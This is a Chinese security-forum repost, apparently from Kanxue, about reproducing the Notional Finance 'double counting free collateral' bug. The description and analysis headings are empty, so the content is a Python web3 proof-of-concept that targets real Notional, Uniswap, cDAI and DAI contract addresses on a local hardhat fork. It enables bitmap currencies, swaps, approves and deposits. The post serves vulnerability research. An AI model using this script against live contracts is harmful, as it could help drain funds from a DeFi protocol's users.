本文为看雪论坛优秀文章
看雪论坛作者ID:ghostmazeW
一
漏洞描述
二
漏洞分析
三
漏洞复现
源码:https://github.com/notional-finance/contracts-v2
from web3 import Web3
from Constant import Abi
import binascii
class Poc:
def __init__(self):
self.web3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
#self.web3 = Web3(Web3.HTTPProvider("https://mainnet.infura.io/v3/yourkey"))
self.NationalAbi = Abi.NationalAbi
#self.addr = '0xdE14D5F07456c86F070C108A04Ae2fafdbD2A939'
self.addr = "0x1344A36A1B56144C3Bc62E7757377D288fDE0369"
self.uni_router = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D"
self.cdai_address = "0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643"
self.dai_address = "0x6B175474E89094C44Da98b954EedeAC495271d0F"
self.uniswap_router_abi = Abi.UniswapRouter2
self.cdai_abi = Abi.CDaiAbi
self.dai_abi = Abi.DaiAbi
self.contract = self.web3.eth.contract(address=self.addr, abi=self.NationalAbi)
self.uniswapRouter =self.web3.eth.contract(address=self.uni_router,abi=self.uniswap_router_abi)
self.cdai_token = self.web3.eth.contract(address=self.cdai_address,abi=self.cdai_abi)
self.dai_token = self.web3.eth.contract(address=self.dai_address,abi=self.dai_abi)
self.privatekey = "your privatekey"
self.account = self.web3.eth.account.from_key(self.privatekey)
self.txParams = {
'chainId': 31337, #hardhat chianid
'nonce': self.web3.eth.getTransactionCount(self.account.address),
'gas': 2000000,
'from': self.account.address,
# 'value': Web3.toWei(0, 'ether'),
'gasPrice': self.web3.eth.gasPrice,
}
def get_free_collateral(self, address):
'''
获取
:param address:
:return:
'''
result = self.contract.functions.getFreeCollateral(address).call()
print(result)
def enable_bitmapCurrency(self, currencyid):
'''
开启bitmapCurrency
:return:
'''
tx = self.contract.functions.enableBitmapCurrency(currencyid).buildTransaction(self.txParams)
signed_txn = self.web3.eth.account.signTransaction(tx, private_key=self.privatekey) # 账号交易签名
res = self.web3.eth.send_raw_transaction(signed_txn.rawTransaction).hex() # 发送原始签名
print(res)
txn_receipt = self.web3.eth.wait_for_transaction_receipt(res) # 接受交易结果,并返回交易结果
print(txn_receipt)
return txn_receipt
# signed = self.account.signTransaction(tx) # 用账户对交易签名
# tx_id = self.web3.eth.sendRawTransaction(signed.rawTransaction) # 交易发送并获取交易id
# tx_hash = self.contract.functions.enableBitmapCurrency(currencyid).transact()
# result = self.web3.eth.wait_for_transaction_receipt(tx_hash)
# print(result)
def swap_eth_for_exact_tokens(self,amountout,ethnum,path,to,deadline):
'''
兑换Token
:return:
'''
self.txParams.update({"value":Web3.toWei(ethnum, "ether")})
tx = self.uniswapRouter.functions.swapETHForExactTokens(amountout, path, to, deadline).buildTransaction(self.txParams)
result = self.sign_and_sendtx(tx)
print(result)
# signed_txn = self.web3.eth.account.signTransaction(tx, private_key=self.privatekey) # 账号交易签名
# res = self.web3.eth.send_raw_transaction(signed_txn.rawTransaction).hex() # 发送原始签名
# print(res)
# txn_receipt = self.web3.eth.wait_for_transaction_receipt(res) # 接受交易结果,并返回交易结果
# print(txn_receipt)
def sign_and_sendtx(self,tx):
'''
验签和的发送交易
:param tx:
:return:
'''
signed_txn = self.web3.eth.account.signTransaction(tx, private_key=self.privatekey) # 账号交易签名
res = self.web3.eth.send_raw_transaction(signed_txn.rawTransaction).hex() # 发送原始签名
txn_receipt = self.web3.eth.wait_for_transaction_receipt(res) # 接受交易结果,并返回交易结果
return txn_receipt
def get_all_functions(self,addr,abi):
'''
获取所有方法
:return:
'''
funcs = self.web3.eth.contract(address=addr, abi=abi)
for func in funcs.all_functions():
print(func)
def get_account_context(self, address):
'''
获取账户上下文
:param address:
:return:
'''
result = self.contract.functions.getAccountContext(address).call()
print(result)
print("nextSettleTime:"+str(result[0]))
print("hasDebt:" + str(binascii.b2a_hex(result[1])))
print("assetArrayLength:" + str(result[2]))
print("bitmapCurrencyId:" + str(result[3]))
print("activeCurrencies:" + str(binascii.b2a_hex(result[4])))
def get_currencyid(self, address):
result = self.contract.functions.getCurrencyId(address).call()
print(result)
def deposit_underlying_token(self,account,currencyId,amountExternalPrecision):
'''
充值
:param account:
:param currencyId:
:param amountExternalPrecision:
:return:
'''
self.txParams.update({"value": Web3.toWei(1, "ether")})
tx = self.contract.functions.depositUnderlyingToken(account, currencyId, amountExternalPrecision).buildTransaction(
self.txParams)
result = self.sign_and_sendtx(tx)
print(result)
def allowance_dai(self):
'''
:param address:
:return:
'''
result = self.cdai_token.functions.allowance(self.account.address,self.addr).call()
print(result)
def approve_cdai(self):
'''
:param address:
:return:
'''
tx = self.cdai_token.functions.approve(self.addr, 0xffffffff).buildTransaction(
self.txParams)
result = self.sign_and_sendtx(tx)
print(result)
def approve_dai(self):
# tx = self.dai_token.functions.approve(self.addr, 0xffffffff).buildTransaction(
# self.txParams)
# result = self.sign_and_sendtx(tx)
# print(result)
tx = self.dai_token.functions.approve(self.addr, 1000000000000000000000000000).buildTransaction(
self.txParams)
result = self.sign_and_sendtx(tx)
print(result)
def get_account(self,address):
'''
获取账户信息
:param address:
:return:
'''
result = self.contract.functions.getAccount(Web3.toChecksumAddress(address)).call()
print(result)
def start(self):
'''
start test
:return:
'''
cdai = "0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643" #8
ceth = "0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5"
# 兑换dai
# amountout = 4000 * 10 ** 18
# path = ["0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2","0x6B175474E89094C44Da98b954EedeAC495271d0F"]
# to = self.account.address
# deadline = 0xffffffff
# self.swap_eth_for_exact_tokens(amountout,2,path,to,deadline)
#self.get_free_collateral(self.account.address)
# 设置
#self.enable_bitmapCurrency(1)
# self.get_free_collateral(Web3.toChecksumAddress("0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"))
# self.get_account_context(Web3.toChecksumAddress("0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"))
# self.get_account("0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266")
#self.enable_bitmapCurrency(2)
#self.get_currencyid(Web3.toChecksumAddress("0x5d3a536e4d6dbd6114cc1ead35777bab948e3643"))
# self.get_currencyid(Web3.toChecksumAddress("0x6b175474e89094c44da98b954eedeac495271d0f"))
# self.approve_dai()
# self.approve_dai_cdai()
#self.deposit_underlying_token(self.account.address,160,1000000000000000000)
if __name__ == "__main__":
Poc().start()
看雪ID:ghostmazeW
https://bbs.pediy.com/user-home-811277.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):Notional Double Counting Free Collateral 分析和复现